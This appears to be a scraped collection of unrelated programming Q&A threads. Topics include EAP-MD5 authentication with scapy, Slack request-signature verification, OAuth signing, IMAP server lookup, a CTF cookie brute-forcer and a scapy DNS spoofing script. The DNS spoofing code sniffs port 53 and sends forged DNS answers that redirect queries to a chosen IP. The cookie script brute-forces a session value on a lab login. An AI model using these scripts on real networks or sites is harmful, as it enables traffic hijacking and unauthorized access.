Now I'm programming EAP-MD5 authentication testing script based on scapy in my private network.
But, I've failed on 'response md5-challange' status with 'password fail'.
my script code is same below. On this routine, parameter 'pkt' is from the requested MD5-Challange EAP packet
==========================================
def response_md5_handler(pkt):
global _PASSWD
# .. skip ..
eth = pkt.getlayer(Ether)
eap = pkt.getlayer(EAP)
raw = pkt.getlayer(Raw)
mypass = _PASSWD
mychallegne = str(eap.id) + mypass + raw.load[1:]
resp = md5(mychallegne ).digest()
resp = chr(len(resp)) + resp
mypkt = _mk_eap_resp_md5(eth.dst, eap.id, resp )
sendp(mypkt)
==========================================
Earlier stages(EAPOL start, Request Identity handling, Response Identity) are no problem and I've checked 'PASSWD' string.
Could you give some guide or tip? What is my problem?
I found solution myself.
On below code,
mychallegne = str(eap.id) + mypass + raw.load[1:]
I've made mistake for 'eap.id' handling.
I should use pack("!B", eap.id) insted of the str() function.
Related
I've a slack app that is sending to a service written in typescript that is forwarding the message to my python script where I'm trying to validate the request. However, for some reason, the validation always fails.
The typescript relevant code:
const rp = require('request-promise');
var qs = require('querystring')
export const handler = async (event: any, context: Context, callback: Callback): Promise<any> => {
const options = {
method: method,
uri: some_url,
body: qs.parse(event.body),
headers: {
signature: event.headers['X-Slack-Signature'],
timestamp: event.headers['X-Slack-Request-Timestamp']
},
json: true
};
return rp(options);
The python code (based on this article) :
def authenticate_message(self, request: Request) -> bool:
slack_signing_secret = bytes(SLACK_SIGNING_SECRET, 'utf-8')
slack_signature = request.headers['signature']
slack_timestamp = request.headers['timestamp']
request_body = json.loads(request.body)['payload']
basestring = f"v0:{slack_timestamp}:{request_body}".encode('utf-8')
my_signature = 'v0=' + hmac.new(slack_signing_secret, basestring, hashlib.sha256).hexdigest()
return hmac.compare_digest(my_signature, slack_signature))
I'm pretty sure the issue is the way I'm taking the body but tried several options and still no luck.
Any ideas?
Thanks,
Nir.
I had the same issue. My solution was to parse the payload to replace '/' by %2F and ':' by %3A. It's not explicit in the Slack doc but if you see the example, that's how it's shown:
'v0:1531420618:token=xyzz0WbapA4vBCDEFasx0q6G&team_id=T1DC2JH3J&team_domain=testteamnow&channel_id=G8PSS9T3V&channel_name=foobar&user_id=U2CERLKJA&user_name=roadrunner&command=%2Fwebhook-collect&text=&response_url=https%3A%2F%2Fhooks.slack.com%2Fcommands%2FT1DC2JH3J%2F397700885554%2F96rGlfmibIGlgcZRskXaIFfN&trigger_id=398738663015.47445629121.803a0bc887a14d10d2c447fce8b6703c'
You see command and response_url are parsed.
I managed to get this working in Python. I see you ask in Typescript, but I hope this python script helps:
#app.route('/slack-validation', methods=['GET', 'POST'])
def slack_secutiry():
headers = request.headers
timestamp = request.headers['X-Slack-Request-Timestamp']
slack_payload = request.form
dict_slack = slack_payload.to_dict()
### This is the key that solved the issue for me, where urllib.parse.quote(val, safe='')] ###
payload= "&".join(['='.join([key, urllib.parse.quote(val, safe='')]) for key, val in dict_slack.items()])
### compose the message:
sig_basestring = 'v0:' + timestamp + ':' + payload
sig_basestring = sig_basestring.encode('utf-8')
### secret
signing_secret = slack_signing_secret.encode('utf-8') # I had an env variable declared with slack_signing_secret
my_signature = 'v0=' + hmac.new(signing_secret, sig_basestring, hashlib.sha256).hexdigest()
print('my signature: ')
print(my_signature)
return '', 200
It might be useful for you to check how the request validation feature is implemented in the Bolt framework:
https://github.com/slackapi/bolt-python/blob/4e0709f0578080833f9aeab984a778be81a30178/slack_bolt/middleware/request_verification/request_verification.py
Note that it is implemented as a middleware, enabled by default when you instantiate the app (see attribute request_verification_enabled).
You can inspect this behaviour and/or change it if you want to validate the requests manually:
app = App(
token=SLACK_BOT_TOKEN,
signing_secret=SLACK_SIGNING_SECRET,
request_verification_enabled=False
)
The following solution solves the problem of verification of signing secret of slack
#!/usr/bin/env python3
import hashlib
import hmac
import base64
def verify_slack_request(event: dict, slack_signing_secret: str) -> bool:
"""Verify slack requests.
Borrowed from https://janikarhunen.fi/verify-slack-requests-in-aws-lambda-and-python.html
- Removed optional args
- Checks isBase64Encoded
:param event: standard event handler
:param slack_signing_secret: slack secret for the slash command
:return: True if verification worked
"""
slack_signature = event['headers']['x-slack-signature']
slack_time = event['headers']['x-slack-request-timestamp']
body = event['body']
if event['isBase64Encoded']:
body = base64.b64decode(body).decode("utf-8")
""" Form the basestring as stated in the Slack API docs. We need to make a bytestring"""
base_string = f'v0:{slack_time}:{body}'.encode('utf-8')
""" Make the Signing Secret a bytestring too. """
slack_signing_secret = bytes(slack_signing_secret, 'utf-8')
""" Create a new HMAC 'signature', and return the string presentation."""
my_signature = 'v0=' + hmac.new(
slack_signing_secret, base_string, hashlib.sha256
).hexdigest()
''' Compare the the Slack provided signature to ours.
If they are equal, the request should be verified successfully.
Log the unsuccessful requests for further analysis
(along with another relevant info about the request).'''
result = hmac.compare_digest(my_signature, slack_signature)
if not result:
logger.error('Verification failed. my_signature: ')
logger.error(f'{my_signature} != {slack_signature}')
return result
if __name__ == '__main__':
# add correct params here
print(verify_slack_request({}, None))
Borrowed From:
https://gist.github.com/nitrocode/288bb104893698011720d108e9841b1f
Credits: https://gist.github.com/nitrocode
So I'm using an online tutorial to spoof dns in my system. (You can read some more in previous question. )
I used this code to redirect special addresses to another one:
dns_server_ip = '46.165.233.150'
bpf_filt = 'udp port 53'
def dns_responder(local_ip):
def forward_dns(orig_pkt):
print('Forwarding:', orig_pkt[DNSQR].qname)
response = sr1(IP(dst="192.168.43.1", src="192.168.43.64") / UDP(sport=orig_pkt[UDP].sport) / \
DNS(rd=1, id=orig_pkt[DNS].id, qd=DNSQR(qname=orig_pkt[DNSQR].qname)), verbose=0)
#response.show()
respPkt = IP(dst=orig_pkt[IP].src, src=orig_pkt[IP].dst) / UDP(dport=orig_pkt[UDP].sport) / DNS()
respPkt[DNS] = response[DNS]
send(respPkt, verbose=0)
return 'Responding: {}'.format(respPkt.summary())
def get_response(pkt):
if DNS in pkt and pkt[DNS].opcode == 0 and pkt[DNS].ancount == 0 and pkt[IP].src != local_ip:
if 'example.com' in str(pkt['DNS Question Record'].qname):
spfResp = IP(dst=pkt[IP].src, src=pkt[IP].dst) \
/ UDP(dport=pkt[UDP].sport, sport=53) \
/ DNS(id=pkt[DNS].id, qr=1, qd=DNSQR(qname=pkt[DNSQR].qname), \
an=DNSRR(rrname="example.com", rdata = local_ip))
send(spfResp, verbose=0)
return 'Spoofed DNS Response Sent'
else:
# make DNS query, capturing the answer and send the answer
return forward_dns(pkt)
return get_response
sniff(filter=bpf_filt, prn=dns_responder(dns_server_ip))
The problem with this code is when it captures a packet with a doamin that's not wanted and needs to be skipped, it runs infinitely and never stops and keep sending and receiving packets from the same domains. Meanwhile when I type a url that I want to spoof it's dns in the browser like example.com it does not capture it.
If I comment the line:
return forward_dns(pkt)
In the else statement and write something else, it does capture the packet and send the response, but still I'm seeing the same example.com website in my browser, not the site with the ip that I gave to the script.
So the whole thing is is this working on a browser? Because I used the nslookup in the windows command and still get the example.com ip as the response, not the one that I faked.
Answering Machine
Now this is the updated code with the answering machine, suppose that we want to spoof every single dns request:
class DNS_am (AnsweringMachine):
function_name = "dns_spoof"
filter="udp port 53"
def parse_options(self, joker="137.74.18.82", zone=None):
if zone is None:
zone = {}
self.zone = zone
self.joker = joker
def is_request(self, req):
return req.haslayer(DNS) and req.getlayer(DNS).qr==0
def make_reply(self, req):
ip = req.getlayer(IP)
dns = req.getlayer(DNS)
rdata = self.zone.get(dns.qd.qname, self.joker)
resp = IP(dst=ip.src, src=ip.dst) \
/ UDP(dport=ip.sport, sport=53) \
/ DNS(id=dns.id, qr=1, qd=dns.qd,
an=DNSRR(rrname=dns.qd.qname, rdata=rdata))
return resp
DNS_am()()
When I run this script, it successfully captures all the dns queries and and send the fake response, but this response does not take effect. Still the main response works.
In wireshark, the fake response is marked as transmitted response.
I would like to know if there exists a tool to get the IMAP server related to an email address.
For example, if I receive stack#hotmail.com, it should return: imap-mail.outlook.com. If I receive stack#outlook.com, it should also return: imap-mail.outlook.com
If no tool exists, I will create a little database with these informations.
Thank you.
here is a way to detect it, using a free api, u can pass your email as a parameter and it will return the imap server
def imapdetect(email):
with request.urlopen('https://emailsettings.firetrust.com/settings?q=' + email) as response:
if response.getcode() == 200:
source = response.read()
data = json.loads(source)
for i in range(0, len(data["settings"]) + 1):
if data["settings"][i]["protocol"] == "IMAP":
imapserver = data["settings"][i]["address"]
break
return imapserver
I'm making a program that tries brute forcing a cookie value with python.
I'm working on an environment that is meant for IT-security students, it's like a CTF-as-a-service.
The mission i'm working on is a badly programmed login site that has a weak way of creating a cookie session.
The cookie consist of three values, an integer returned from the server side, the username, and a hash. I've already managed to acquire the username and hash, but i need to brute force the int value.
I have never done anything with cookies or tried to brute force them.
I was thinking i can manually observer the program running and returning the header of the site, until the content-length changes.
This is the code i have at the moment.
from requests import session
import Cookie
def createCook(salt):
#known atrributes for the cookie
salt = int('to_be_brute_forced')
user = str('user')
hash = str('hash_value')
# create the cookies
c = Cookie.SimpleCookie()
#assing cookie name(session) and values (s,u,h)
c['session'] = salt + user + hash
c['session']['domain'] = '127.0.0.1:7777'
c['session']['path'] = "/"
c['session']['expires'] = 1*1*3*60*60
print c
def Main():
print "Feed me Seymour: "
salt = 0
while (salt < 1000):
print 'this is the current cookie: ', createCook(salt)
cc = createCook(salt)
salt = salt + 1
try:
with session() as s:
s.post('http://127.0.0.1:7777/index.php', data=cc)
request = s.get('http://127.0.0.1:7777/index.php')
print request.headers
print request.text
except KeyboardInterrupt:
exit(0)
if __name__ == '__main__':
Main()
So my questions are:
1. Do i need to save the cookie before posting?
2. How do i always add +1 to the salt and recreate the cookie?
3. how do i post it to the site and know that the correct one is found?
While posting the request you have to use cookies as the argument instead of data
s.post(url, cookies=<cookiejar>)
I'm writing a script of OAuth in Python.
For testing this, I use Twitter API. But it is not working well.
def test():
params = {
"oauth_consumer_key": TWITTER_OAUTH_CONSUMER_KEY,
"oauth_nonce": "".join(random.choice(string.digits + string.letters) for i in xrange(7)),
"oauth_signature_method": "HMAC-SHA1",
"oauth_timestamp": str(int(time.time())),
"oauth_token": res_dict["oauth_token"],
"oauth_version": "1.0",
}
status = {"status": u"Always_look_on_the_bright_side_of_life".encode("UTF-8")}
print status
params.update(status)
url = "http://twitter.com/statuses/update.xml"
key = "&".join([TWITTER_OAUTH_CONSUMER_SECRET, res_dict["oauth_token_secret"]])
msg = "&".join(["POST", urllib.quote(url,""),
urllib.quote("&".join([k+"="+params[k] for k in sorted(params)]), "-._~")])
print msg
signature = hmac.new(key, msg, hashlib.sha1).digest().encode("base64").strip()
params["oauth_signature"] = signature
req = urllib2.Request(url,
headers={"Authorization":"OAuth", "Content-type":"application/x-www-form-urlencoded"})
req.add_data("&".join([k+"="+urllib.quote(params[k], "-._~") for k in params]))
print req.get_data()
res = urllib2.urlopen(req).read()
print res
This script (status="Always_look_on_the_bright_side_of_life") is working.
But, in case status is "Always look on the bright side of life"(replaced underscore with space), it isn't working(is returning HTTP Error 401: Unauthorized).
I referenced this question, but failed.
Please give me some advice. Thank you.
I got the same problem in OAuth with FaceBook a while ago. The problem is that the signature validation on server side fails. See your signature generation code here:
msg = "&".join(["POST", urllib.quote(url,""),
urllib.quote("&".join([k+"="+params[k] for k in sorted(params)]), "-._~")])
print msg
signature = hmac.new(key, msg, hashlib.sha1).digest().encode("base64").strip()
It uses the raw (non-encoded) form of the string to generate the signature. However, the server side generates validates the signature against the URL quoted string:
req.add_data("&".join([k+"="+urllib.quote(params[k], "-._~") for k in params]))
To fix the code, you need to do fix this line by creating the signature from the url encoded parameter:
msg = "&".join(["POST", urllib.quote(url,""),
urllib.quote("&".join([k+"="+urllib.quote(params[k], "-._~") for k in sorted(params)]), "-._~")])
The easiest way to fix this is to add status = urllib.quote(status) after status = {"status": u"Always_look_on_the_bright_side_of_life".encode("UTF-8")}. This will escape the spaces and other special characters as required.